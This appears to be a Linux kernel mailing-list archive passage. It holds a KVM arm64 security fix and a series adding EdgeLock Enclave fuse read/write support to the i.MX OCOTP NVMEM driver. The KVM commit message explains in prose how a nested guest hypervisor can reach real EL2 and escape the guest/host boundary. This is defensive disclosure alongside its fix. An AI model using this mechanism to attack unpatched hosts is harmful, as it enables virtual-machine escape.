* [PATCH] KVM: arm64: nv: Translate vEL2 PSTATE to EL1 in kvm_hyp_handle_mops()
From: Weiming Shi @ 2026-06-16 11:49 UTC (permalink / raw)
To: Marc Zyngier, Oliver Upton, Catalin Marinas, Will Deacon
Cc: Joey Gouly, Steffen Eiden, Suzuki K Poulose, Zenghui Yu,
Andrew Morton, Jakub Kicinski, Bjorn Andersson, Mark Rutland,
Kristina Martsenko, linux-arm-kernel, kvmarm, Zhong Wang,
Xuanqing Shi, Weiming Shi
When a nested virtualisation guest is running its virtual EL2 (vEL2),
fixup_guest_exit() rewrites vcpu_cpsr() to the guest's virtual exception
level: a hardware PSTATE.M of EL1{t,h} is presented as EL2{t,h}. The
hardware, however, executes vEL2 at EL1.
kvm_hyp_handle_mops() runs on the fast guest re-entry path, where it
clears the single-step bit and restores SPSR_EL2 directly from
vcpu_cpsr():
*vcpu_cpsr(vcpu) &= ~DBG_SPSR_SS;
write_sysreg_el2(*vcpu_cpsr(vcpu), SYS_SPSR);
For a guest hypervisor this writes the vEL2 view (PSTATE.M == EL2h) into
the hardware SPSR_EL2 without translating it back. The fast path re-enters
the guest via __guest_enter()/ERET without going through
__sysreg_restore_el2_return_state(), so neither to_hw_pstate() nor the
"return to a less privileged mode" safety check there (which would set
PSR_IL_BIT) is applied. The ERET therefore restores PSTATE.M = EL2h and
re-enters the guest at the real EL2 with a guest-controlled ELR, escaping
stage-2 and the guest/host boundary.
This is reachable on a kernel with FEAT_MOPS running a KVM nested guest
(kvm-arm.mode=nested): KVM sets HCRX_EL2.MCE2, which the guest hypervisor
cannot clear for its own context (is_nested_ctxt() is false), so a vEL2
MOPS exception is taken to the host and dispatched to kvm_hyp_handle_mops()
with VCPU_IN_HYP_CONTEXT set.
Translate EL2{t,h} back to EL1{t,h} before writing SPSR_EL2, mirroring
kvm_hyp_handle_eret(). For non-nested guests vcpu_cpsr() never holds an
EL2 mode, so the translation is a no-op and behaviour is unchanged.
Fixes: 2de451a329cf ("KVM: arm64: Add handler for MOPS exceptions")
Assisted-by: Claude:claude-opus-4-8
Reported-by: Zhong Wang <wangzhong.c0ss4ck@bytedance.com>
Reported-by: Xuanqing Shi <shixuanqing.11@bytedance.com>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
arch/arm64/kvm/hyp/include/hyp/switch.h | 23 ++++++++++++++++++++++-
1 file changed, 22 insertions(+), 1 deletion(-)
diff --git a/arch/arm64/kvm/hyp/include/hyp/switch.h b/arch/arm64/kvm/hyp/include/hyp/switch.h
index e9b36a3b27bbc..a6b7963ddbf0b 100644
--- a/arch/arm64/kvm/hyp/include/hyp/switch.h
+++ b/arch/arm64/kvm/hyp/include/hyp/switch.h
@@ -448,6 +448,8 @@ static inline bool __populate_fault_info(struct kvm_vcpu *vcpu)
static inline bool kvm_hyp_handle_mops(struct kvm_vcpu *vcpu, u64 *exit_code)
{
+ u64 spsr, mode;
+
*vcpu_pc(vcpu) = read_sysreg_el2(SYS_ELR);
arm64_mops_reset_regs(vcpu_gp_regs(vcpu), vcpu->arch.fault.esr_el2);
write_sysreg_el2(*vcpu_pc(vcpu), SYS_ELR);
@@ -457,7 +459,26 @@ static inline bool kvm_hyp_handle_mops(struct kvm_vcpu *vcpu, u64 *exit_code)
* instruction.
*/
*vcpu_cpsr(vcpu) &= ~DBG_SPSR_SS;
- write_sysreg_el2(*vcpu_cpsr(vcpu), SYS_SPSR);
+
+ /*
+ * For a guest hypervisor, vcpu_cpsr() holds the vEL2 view
+ * (PSTATE.M == EL2h) installed by fixup_guest_exit(), but vEL2
+ * runs at EL1. Translate it back before restoring SPSR_EL2, as in
+ * kvm_hyp_handle_eret().
+ */
+ spsr = *vcpu_cpsr(vcpu);
+ mode = spsr & (PSR_MODE_MASK | PSR_MODE32_BIT);
+ switch (mode) {
+ case PSR_MODE_EL2t:
+ mode = PSR_MODE_EL1t;
+ break;
+ case PSR_MODE_EL2h:
+ mode = PSR_MODE_EL1h;
+ break;
+ }
+ spsr = (spsr & ~(PSR_MODE_MASK | PSR_MODE32_BIT)) | mode;
+
+ write_sysreg_el2(spsr, SYS_SPSR);
return true;
}
--
2.43.0
^ permalink raw reply related
* [PATCH 2/9] firmware: imx: ele: Fix indentation in ele_base_msg.h
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
The file uses mixed indentation characters. Use tabs everywhere.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/firmware/imx/ele_base_msg.h | 16 ++++++++--------
1 file changed, 8 insertions(+), 8 deletions(-)
diff --git a/drivers/firmware/imx/ele_base_msg.h b/drivers/firmware/imx/ele_base_msg.h
index 75e65e279193..1c5d6791b323 100644
--- a/drivers/firmware/imx/ele_base_msg.h
+++ b/drivers/firmware/imx/ele_base_msg.h
@@ -27,19 +27,19 @@
#define ELE_GEN_KEY_BLOB_REQ 0xaf
#define ELE_GET_FW_STATUS_REQ 0xc5
#define ELE_XIP_DECRYPT_REQ 0xc6
-#define ELE_WRITE_FUSE 0xd6
-#define ELE_DEV_ATTEST_REQ 0xdb
-#define ELE_WRITE_SHADOW_FUSE_REQ 0xf2
-#define ELE_READ_SHADOW_FUSE_REQ 0xf3
+#define ELE_WRITE_FUSE 0xd6
+#define ELE_DEV_ATTEST_REQ 0xdb
+#define ELE_WRITE_SHADOW_FUSE_REQ 0xf2
+#define ELE_READ_SHADOW_FUSE_REQ 0xf3
#define ELE_GET_INFO_REQ 0xda
#define ELE_GET_INFO_REQ_MSG_SZ 0x10
#define ELE_GET_INFO_RSP_MSG_SZ 0x08
-#define MAX_UID_SIZE (16)
-#define DEV_GETINFO_ROM_PATCH_SHA_SZ (32)
-#define DEV_GETINFO_FW_SHA_SZ (32)
-#define DEV_GETINFO_OEM_SRKH_SZ (64)
+#define MAX_UID_SIZE (16)
+#define DEV_GETINFO_ROM_PATCH_SHA_SZ (32)
+#define DEV_GETINFO_FW_SHA_SZ (32)
+#define DEV_GETINFO_OEM_SRKH_SZ (64)
#define DEV_GETINFO_MIN_VER_MASK 0xff
#define DEV_GETINFO_MAJ_VER_MASK 0xff00
#define ELE_DEV_INFO_EXTRA_SZ 0x60
--
2.54.0
^ permalink raw reply related
* [PATCH 1/9] dt-bindings: nvmem: imx-ocotp: Add support for secure-enclave
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
Some SoCs like the i.MX9 family allow full access to the fuses only
through the secure enclave firmware API. Add a property to reference
the secure enclave node and let the driver use the API.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml b/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml
index a8076d0e2737..14a6429f4a4c 100644
--- a/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml
+++ b/Documentation/devicetree/bindings/nvmem/imx-ocotp.yaml
@@ -53,6 +53,10 @@ properties:
reg:
maxItems: 1
+ secure-enclave:
+ $ref: /schemas/types.yaml#/definitions/phandle
+ description: A phandle to the secure enclave node
+
clocks:
maxItems: 1
--
2.54.0
^ permalink raw reply related
* [PATCH 4/9] nvmem: imx-ocotp-ele: Add keepout table for i.MX93
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
Add an overall keepout table to describe which fuse registers are
invalid and not accessible. No functional changes intended.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/nvmem/imx-ocotp-ele.c | 18 ++++++++++++++++++
1 file changed, 18 insertions(+)
diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index a0d2985c6d03..dadec19ca252 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -34,6 +34,8 @@ struct ocotp_devtype_data {
u32 num_entry;
u32 flag;
nvmem_reg_read_t reg_read;
+ const struct nvmem_keepout *keepout;
+ unsigned int nkeepout;
struct ocotp_map_entry entry[];
};
@@ -163,6 +165,12 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
priv->config.read_only = true;
priv->config.add_legacy_fixed_of_cells = true;
priv->config.fixup_dt_cell_info = imx_ocotp_fixup_dt_cell_info;
+
+ if (priv->data->nkeepout) {
+ priv->config.keepout = priv->data->keepout;
+ priv->config.nkeepout = priv->data->nkeepout;
+ }
+
mutex_init(&priv->lock);
nvmem = devm_nvmem_register(dev, &priv->config);
@@ -172,6 +180,14 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
return 0;
}
+static const struct nvmem_keepout imx93_ocotp_keepout[] = {
+ {.start = 208, .end = 252},
+ {.start = 256, .end = 512},
+ {.start = 576, .end = 728},
+ {.start = 732, .end = 752},
+ {.start = 756, .end = 1248},
+};
+
static const struct ocotp_devtype_data imx93_ocotp_data = {
.reg_off = 0x8000,
.reg_read = imx_ocotp_reg_read,
@@ -185,6 +201,8 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
{ 188, 1, FUSE_ELE },
{ 312, 200, FUSE_FSB }
},
+ .keepout = imx93_ocotp_keepout,
+ .nkeepout = ARRAY_SIZE(imx93_ocotp_keepout),
};
static const struct ocotp_devtype_data imx94_ocotp_data = {
--
2.54.0
^ permalink raw reply related
* [PATCH 3/9] firmware: imx: ele: Add API functions for OCOTP fuse access
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
The ELE S400 API provides read and write access to the OCOTP fuse
registers. This adds the necessary API functions imx_se_read_fuse()
and imx_se_write_fuse() to be used by other drivers such as the
OCOTP S400 NVMEM driver.
This is ported from the downstream vendor kernel.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/firmware/imx/ele_base_msg.c | 122 ++++++++++++++++++++++++++++++++++++
drivers/firmware/imx/ele_base_msg.h | 6 ++
include/linux/firmware/imx/se_api.h | 3 +
3 files changed, 131 insertions(+)
diff --git a/drivers/firmware/imx/ele_base_msg.c b/drivers/firmware/imx/ele_base_msg.c
index ec718d322abc..281d223aa144 100644
--- a/drivers/firmware/imx/ele_base_msg.c
+++ b/drivers/firmware/imx/ele_base_msg.c
@@ -8,6 +8,7 @@
#include <linux/cleanup.h>
#include <linux/completion.h>
#include <linux/dma-mapping.h>
+#include <linux/firmware/imx/se_api.h>
#include <linux/genalloc.h>
#include "ele_base_msg.h"
@@ -303,3 +304,124 @@ int ele_debug_dump(struct se_if_priv *priv)
return ret;
}
+
+static int ele_read_fuse(struct se_if_priv *priv, uint16_t fuse_id, u32 *value)
+{
+ struct se_api_msg *tx_msg __free(kfree) = NULL;
+ struct se_api_msg *rx_msg __free(kfree) = NULL;
+ int rx_msg_sz = ELE_READ_FUSE_RSP_MSG_SZ;
+ int ret = 0;
+
+ if (!priv)
+ return -EINVAL;
+
+ tx_msg = kzalloc(ELE_READ_FUSE_REQ_MSG_SZ, GFP_KERNEL);
+ if (!tx_msg)
+ return -ENOMEM;
+
+ rx_msg = kzalloc(rx_msg_sz, GFP_KERNEL);
+ if (!rx_msg)
+ return -ENOMEM;
+
+ ret = se_fill_cmd_msg_hdr(priv, (struct se_msg_hdr *)&tx_msg->header,
+ ELE_READ_FUSE_REQ, ELE_READ_FUSE_REQ_MSG_SZ,
+ true);
+ if (ret)
+ return ret;
+
+ tx_msg->data[0] = fuse_id;
+
+ ret = ele_msg_send_rcv(priv->priv_dev_ctx, tx_msg,
+ ELE_READ_FUSE_REQ_MSG_SZ, rx_msg, rx_msg_sz);
+ if (ret < 0)
+ return ret;
+
+ ret = se_val_rsp_hdr_n_status(priv, rx_msg, ELE_READ_FUSE_REQ,
+ rx_msg_sz, true);
+ if (ret)
+ return ret;
+
+ *value = rx_msg->data[1];
+
+ return 0;
+}
+
+/**
+ * imx_se_read_fuse() - API to request SE-FW to read the fuse value.
+ * @se_if_data: refs to data attached to the se interface.
+ * @fuse_id: fuse identifier to read.
+ * @value: unsigned integer array to store the fuse values.
+ *
+ * Secure enclave like EdgeLock Enclave, manages the fuses. This API
+ * requests the FW to read the fuses. FW responds with the read values.
+ *
+ * Context:
+ *
+ * Return value:
+ * 0, means success.
+ * < 0, means failure.
+ */
+int imx_se_read_fuse(void *se_if_data, uint16_t fuse_id, u32 *value)
+{
+ return ele_read_fuse((struct se_if_priv *)se_if_data, fuse_id, value);
+}
+EXPORT_SYMBOL_GPL(imx_se_read_fuse);
+
+static int ele_write_fuse(struct se_if_priv *priv, uint16_t fuse_id, u32 value)
+{
+ struct se_api_msg *tx_msg __free(kfree) = NULL;
+ struct se_api_msg *rx_msg __free(kfree) = NULL;
+ int ret = 0;
+
+ if (!priv)
+ return -EINVAL;
+
+ tx_msg = kzalloc(ELE_WRITE_FUSE_REQ_MSG_SZ, GFP_KERNEL);
+ if (!tx_msg)
+ return -ENOMEM;
+
+ rx_msg = kzalloc(ELE_WRITE_FUSE_RSP_MSG_SZ, GFP_KERNEL);
+ if (!rx_msg)
+ return -ENOMEM;
+
+ ret = se_fill_cmd_msg_hdr(priv, (struct se_msg_hdr *)&tx_msg->header,
+ ELE_WRITE_FUSE, ELE_WRITE_FUSE_REQ_MSG_SZ,
+ true);
+ if (ret)
+ return ret;
+
+ tx_msg->data[0] = (32 << 16) | (fuse_id << 5);
+ tx_msg->data[1] = value;
+
+ ret = ele_msg_send_rcv(priv->priv_dev_ctx, tx_msg,
+ ELE_WRITE_FUSE_REQ_MSG_SZ, rx_msg,
+ ELE_WRITE_FUSE_RSP_MSG_SZ);
+ if (ret < 0)
+ return ret;
+
+ ret = se_val_rsp_hdr_n_status(priv, rx_msg, ELE_WRITE_FUSE,
+ ELE_WRITE_FUSE_RSP_MSG_SZ, true);
+
+ return ret;
+}
+
+/**
+ * imx_se_write_fuse() - API to request SE-FW to write to fuses.
+ * @se_if_data: refs to data attached to the se interface.
+ * @fuse_id: fuse identifier to write to.
+ * @value: unsigned integer value that to be written to the fuse.
+ *
+ * Secure enclave like EdgeLock Enclave, manages the fuses. This API
+ * requests the FW to write the fuse with the given value.
+ *
+ * Context:
+ *
+ * Return value:
+ * 0, means success.
+ * < 0, means failure.
+ */
+int imx_se_write_fuse(void *se_if_data, uint16_t fuse_id, u32 value)
+{
+ return ele_write_fuse((struct se_if_priv *)se_if_data, fuse_id, value);
+}
+EXPORT_SYMBOL_GPL(imx_se_write_fuse);
diff --git a/drivers/firmware/imx/ele_base_msg.h b/drivers/firmware/imx/ele_base_msg.h
index 1c5d6791b323..2af3ada2ad07 100644
--- a/drivers/firmware/imx/ele_base_msg.h
+++ b/drivers/firmware/imx/ele_base_msg.h
@@ -36,6 +36,12 @@
#define ELE_GET_INFO_REQ_MSG_SZ 0x10
#define ELE_GET_INFO_RSP_MSG_SZ 0x08
+#define ELE_READ_FUSE_REQ_MSG_SZ (8)
+#define ELE_READ_FUSE_RSP_MSG_SZ (12)
+
+#define ELE_WRITE_FUSE_REQ_MSG_SZ (12)
+#define ELE_WRITE_FUSE_RSP_MSG_SZ (12)
+
#define MAX_UID_SIZE (16)
#define DEV_GETINFO_ROM_PATCH_SHA_SZ (32)
#define DEV_GETINFO_FW_SHA_SZ (32)
diff --git a/include/linux/firmware/imx/se_api.h b/include/linux/firmware/imx/se_api.h
index b1c4c9115d7b..ed766b1d48f8 100644
--- a/include/linux/firmware/imx/se_api.h
+++ b/include/linux/firmware/imx/se_api.h
@@ -11,4 +11,7 @@
#define SOC_ID_OF_IMX8ULP 0x084d
#define SOC_ID_OF_IMX93 0x9300
+int imx_se_read_fuse(void *se_if_data, uint16_t fuse_id, u32 *value);
+int imx_se_write_fuse(void *se_if_data, uint16_t fuse_id, u32 value);
+
#endif /* __SE_API_H__ */
--
2.54.0
^ permalink raw reply related
* [PATCH 0/9] Support ELE API in i.MX OCOTP NVMEM driver
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
The imx-ocotp-ele.c driver currently uses the limited FSB (fuseblock)
to access the fuse registers. In order to gain full read/write access
to all fuses, we need to use the Edgelock Secure Enclave firmware.
This patchset does:
* Add bindings to reference ELE device in OCOTP driver (patch 1)
* Add ELE API functions for accessing the fuses (patch 3)
* Let the OCOTP driver use the ELE API (patch 6)
* Extend the devicetree of the Kontron boards for using the ELE API (patch 9)
The rest of the patches contain cleanups that were implemented along
the way.
This was tested using the 'crucible' tool and through hexdump on the
nvmem device.
---
Frieder Schrempf (9):
dt-bindings: nvmem: imx-ocotp: Add support for secure-enclave
firmware: imx: ele: Fix indentation in ele_base_msg.h
firmware: imx: ele: Add API functions for OCOTP fuse access
nvmem: imx-ocotp-ele: Add keepout table for i.MX93
nvmem: imx-ocotp-ele: Remove device-specific reg_read()
nvmem: imx-ocotp-ele: Support the ELE API
nvmem: imx-ocotp-ele: Remove the FUSE_ELE type
nvmem: imx-ocotp-ele: Rename FSB access map
arm64: dts: imx93-kontron: Enable ELE firmware driver
.../devicetree/bindings/nvmem/imx-ocotp.yaml | 4 +
.../boot/dts/freescale/imx93-kontron-osm-s.dtsi | 26 ++++
drivers/firmware/imx/ele_base_msg.c | 122 ++++++++++++++++++
drivers/firmware/imx/ele_base_msg.h | 22 ++--
drivers/nvmem/imx-ocotp-ele.c | 137 ++++++++++++++++-----
include/linux/firmware/imx/se_api.h | 3 +
6 files changed, 277 insertions(+), 37 deletions(-)
---
base-commit: 49e02880ec0a8c378e811bc9d85da188d7c6204c
change-id: 20260616-upstreaming-next-20260609-imx-ocotp-ele-a512ddf96b03
Best regards,
--
Frieder Schrempf <frieder.schrempf@kontron.de>
^ permalink raw reply
* [PATCH 8/9] nvmem: imx-ocotp-ele: Rename FSB access map
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
The table is used to declare which fuse registers are accessible
through the FSB block. Name it accordingly to make this clearer for
the reader.
No functional changes intended.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/nvmem/imx-ocotp-ele.c | 24 ++++++++++++------------
1 file changed, 12 insertions(+), 12 deletions(-)
diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index 3d6fad149ed5..766b0d746f6c 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -32,11 +32,11 @@ struct ocotp_devtype_data {
u32 reg_off;
char *name;
u32 size;
- u32 num_entry;
+ u32 num_fsb_map;
u32 flag;
const struct nvmem_keepout *keepout;
unsigned int nkeepout;
- struct ocotp_map_entry entry[];
+ struct ocotp_map_entry fsb_map[];
};
struct imx_ocotp_priv {
@@ -56,12 +56,12 @@ static enum fuse_type imx_ocotp_fuse_type(void *context, u32 index)
u32 start, end;
int i;
- for (i = 0; i < data->num_entry; i++) {
- start = data->entry[i].start;
- end = data->entry[i].start + data->entry[i].num;
+ for (i = 0; i < data->num_fsb_map; i++) {
+ start = data->fsb_map[i].start;
+ end = data->fsb_map[i].start + data->fsb_map[i].num;
if (index >= start && index < end)
- return data->entry[i].type;
+ return data->fsb_map[i].type;
}
return FUSE_INVALID;
@@ -263,8 +263,8 @@ static const struct nvmem_keepout imx93_ocotp_keepout[] = {
static const struct ocotp_devtype_data imx93_ocotp_data = {
.reg_off = 0x8000,
.size = 2048,
- .num_entry = 2,
- .entry = {
+ .num_fsb_map = 2,
+ .fsb_map = {
{ 0, 52, FUSE_FSB },
{ 312, 200, FUSE_FSB }
},
@@ -275,8 +275,8 @@ static const struct ocotp_devtype_data imx93_ocotp_data = {
static const struct ocotp_devtype_data imx94_ocotp_data = {
.reg_off = 0x8000,
.size = 3296, /* 103 Banks */
- .num_entry = 9,
- .entry = {
+ .num_fsb_map = 9,
+ .fsb_map = {
{ 0, 1, FUSE_FSB | FUSE_ECC },
{ 7, 1, FUSE_FSB | FUSE_ECC },
{ 9, 3, FUSE_FSB | FUSE_ECC },
@@ -292,8 +292,8 @@ static const struct ocotp_devtype_data imx94_ocotp_data = {
static const struct ocotp_devtype_data imx95_ocotp_data = {
.reg_off = 0x8000,
.size = 2048,
- .num_entry = 9,
- .entry = {
+ .num_fsb_map = 9,
+ .fsb_map = {
{ 0, 1, FUSE_FSB | FUSE_ECC },
{ 7, 1, FUSE_FSB | FUSE_ECC },
{ 9, 3, FUSE_FSB | FUSE_ECC },
--
2.54.0
^ permalink raw reply related
* [PATCH 6/9] nvmem: imx-ocotp-ele: Support the ELE API
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
The fuses inside the Edgelock Secure Enclave are currently not
accessed via its API but through the FSB block which provides
limited access to some fuses.
The ELE API allows us to access all fuses with read/write
permissions. Therefore use it as primary method and only fall
back to the limited FSB if the ELE API is not available.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
drivers/nvmem/imx-ocotp-ele.c | 76 ++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 75 insertions(+), 1 deletion(-)
diff --git a/drivers/nvmem/imx-ocotp-ele.c b/drivers/nvmem/imx-ocotp-ele.c
index 9d3f94e35508..92cc061b9b34 100644
--- a/drivers/nvmem/imx-ocotp-ele.c
+++ b/drivers/nvmem/imx-ocotp-ele.c
@@ -6,10 +6,12 @@
*/
#include <linux/device.h>
+#include <linux/firmware/imx/se_api.h>
#include <linux/io.h>
#include <linux/module.h>
#include <linux/nvmem-provider.h>
#include <linux/of.h>
+#include <linux/of_platform.h>
#include <linux/platform_device.h>
#include <linux/slab.h>
#include <linux/if_ether.h> /* ETH_ALEN */
@@ -44,6 +46,8 @@ struct imx_ocotp_priv {
struct nvmem_config config;
struct mutex lock;
const struct ocotp_devtype_data *data;
+ void *se_data;
+ struct platform_device *se_dev;
};
static enum fuse_type imx_ocotp_fuse_type(void *context, u32 index)
@@ -72,6 +76,7 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
enum fuse_type type;
u32 *buf;
void *p;
+ int ret;
int i;
u8 skipbytes;
@@ -92,6 +97,19 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
buf = p;
for (i = index; i < (index + count); i++) {
+ /*
+ * All fuse registers can be read via ELE. If the SE device is
+ * available, always prefer it.
+ */
+ if (priv->se_data) {
+ ret = imx_se_read_fuse(priv->se_data, i, buf++);
+ if (ret) {
+ mutex_unlock(&priv->lock);
+ return ret;
+ }
+ continue;
+ }
+
type = imx_ocotp_fuse_type(context, i);
if (type == FUSE_INVALID || type == FUSE_ELE) {
*buf++ = 0;
@@ -113,6 +131,32 @@ static int imx_ocotp_reg_read(void *context, unsigned int offset, void *val, siz
return 0;
};
+static int imx_ocotp_reg_write(void *context, unsigned int offset, void *val, size_t bytes)
+{
+ struct imx_ocotp_priv *priv = context;
+ u32 word = offset >> 2;
+ u32 *buf = val;
+ int ret;
+
+ /* allow only writing one complete OTP word at a time */
+ if ((bytes != 4) || (offset % 4 != 0))
+ return -EINVAL;
+
+ /*
+ * The ELE API returns an error when writing an all-zero value. As
+ * OTP fuse bits can not be switched from 1 to 0 anyway, skip these
+ * values.
+ */
+ if (!*buf)
+ return 0;
+
+ mutex_lock(&priv->lock);
+ ret = imx_se_write_fuse(priv->se_data, word, *buf);
+ mutex_unlock(&priv->lock);
+
+ return ret;
+}
+
static int imx_ocotp_cell_pp(void *context, const char *id, int index,
unsigned int offset, void *data, size_t bytes)
{
@@ -136,11 +180,18 @@ static void imx_ocotp_fixup_dt_cell_info(struct nvmem_device *nvmem,
cell->read_post_process = imx_ocotp_cell_pp;
}
+static void imx_ocotp_put_se_dev(void *data)
+{
+ platform_device_put(data);
+}
+
static int imx_ele_ocotp_probe(struct platform_device *pdev)
{
struct device *dev = &pdev->dev;
struct imx_ocotp_priv *priv;
struct nvmem_device *nvmem;
+ struct device_node *np;
+ int ret;
priv = devm_kzalloc(dev, sizeof(*priv), GFP_KERNEL);
if (!priv)
@@ -152,16 +203,36 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
if (IS_ERR(priv->base))
return PTR_ERR(priv->base);
+ np = of_parse_phandle(pdev->dev.of_node, "secure-enclave", 0);
+ if (!np) {
+ dev_info(&pdev->dev, "missing or invalid SE handle, using readonly FSB\n");
+ } else {
+ priv->se_dev = of_find_device_by_node(np);
+ of_node_put(np);
+ if (!priv->se_dev)
+ return dev_err_probe(&pdev->dev, -ENODEV, "failed to find SE device\n");
+
+ ret = devm_add_action_or_reset(&pdev->dev, imx_ocotp_put_se_dev,
+ priv->se_dev);
+ if (ret)
+ return ret;
+
+ priv->se_data = platform_get_drvdata(priv->se_dev);
+ if (!priv->se_data)
+ return dev_err_probe(&pdev->dev, -EPROBE_DEFER,
+ "SE device not ready\n");
+ }
+
priv->config.dev = dev;
priv->config.name = "ELE-OCOTP";
priv->config.id = NVMEM_DEVID_AUTO;
priv->config.owner = THIS_MODULE;
priv->config.size = priv->data->size;
priv->config.reg_read = imx_ocotp_reg_read;
+ priv->config.reg_write = imx_ocotp_reg_write;
priv->config.word_size = 1;
priv->config.stride = 1;
priv->config.priv = priv;
- priv->config.read_only = true;
priv->config.add_legacy_fixed_of_cells = true;
priv->config.fixup_dt_cell_info = imx_ocotp_fixup_dt_cell_info;
@@ -170,6 +241,9 @@ static int imx_ele_ocotp_probe(struct platform_device *pdev)
priv->config.nkeepout = priv->data->nkeepout;
}
+ if (!priv->se_data)
+ priv->config.read_only = true;
+
mutex_init(&priv->lock);
nvmem = devm_nvmem_register(dev, &priv->config);
--
2.54.0
^ permalink raw reply related
* [PATCH 9/9] arm64: dts: imx93-kontron: Enable ELE firmware driver
From: Frieder Schrempf @ 2026-06-16 11:52 UTC (permalink / raw)
To: Srinivas Kandagatla, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Frank Li, Sascha Hauer, Pengutronix Kernel Team,
Fabio Estevam, Shawn Guo
Cc: devicetree, imx, linux-arm-kernel, linux-kernel, Frieder Schrempf
In-Reply-To: <20260616-upstreaming-next-20260609-imx-ocotp-ele-v1-0-cb7f3698c3e6@kontron.de>
From: Frieder Schrempf <frieder.schrempf@kontron.de>
Add the ELE firmware API node and pass its handle to the OCOTP
driver. This allows us to gain read/write access to the OTP fuses.
Signed-off-by: Frieder Schrempf <frieder.schrempf@kontron.de>
---
.../boot/dts/freescale/imx93-kontron-osm-s.dtsi | 26 ++++++++++++++++++++++
1 file changed, 26 insertions(+)
diff --git a/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi b/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi
index c79b1df339db..c1da4b52c878 100644
--- a/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi
+++ b/arch/arm64/boot/dts/freescale/imx93-kontron-osm-s.dtsi
@@ -24,6 +24,15 @@ chosen {
stdout-path = &lpuart1;
};
+ firmware {
+ hsm0: secure-enclave {
+ compatible = "fsl,imx93-se-ele-hsm";
